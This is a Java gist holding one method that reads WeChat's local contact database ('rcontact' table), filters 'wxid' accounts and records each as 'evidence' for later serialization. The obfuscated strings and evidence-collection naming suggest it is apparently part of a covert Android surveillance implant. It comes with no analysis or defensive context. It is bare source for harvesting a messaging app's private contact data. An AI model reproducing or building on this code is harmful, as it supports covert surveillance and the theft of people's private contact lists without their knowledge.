gistfile1.java

private void saveWechatContacts(GenericSqliteHelper helper) {
		String[] projection = new String[] { M.e("username"), M.e("nickname")};

		boolean tosave = false;
		RecordVisitor visitor = new RecordVisitor(projection, M.e("nickname not null ")) {

			@Override
			public long cursor(Cursor cursor) {

				String username = cursor.getString(0);
				String nick = cursor.getString(1);

				Contact c = new Contact(username, username, nick, "");
				if (username != null && username.startsWith( M.e("wxid"))) {
					if (ModuleAddressBook.createEvidenceRemote(ModuleAddressBook.WECHAT, c)) {
						if (Cfg.DEBUG) {
							Check.log(TAG + " (cursor) need to serialize");
						}
						return 1;
					}
				}
				return 0;
			}
		};

		if (helper.traverseRecords( M.e("rcontact"), visitor) == 1) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (saveWeChatContacts) serialize");
			}
			ModuleAddressBook.getInstance().serializeContacts();
		}
	}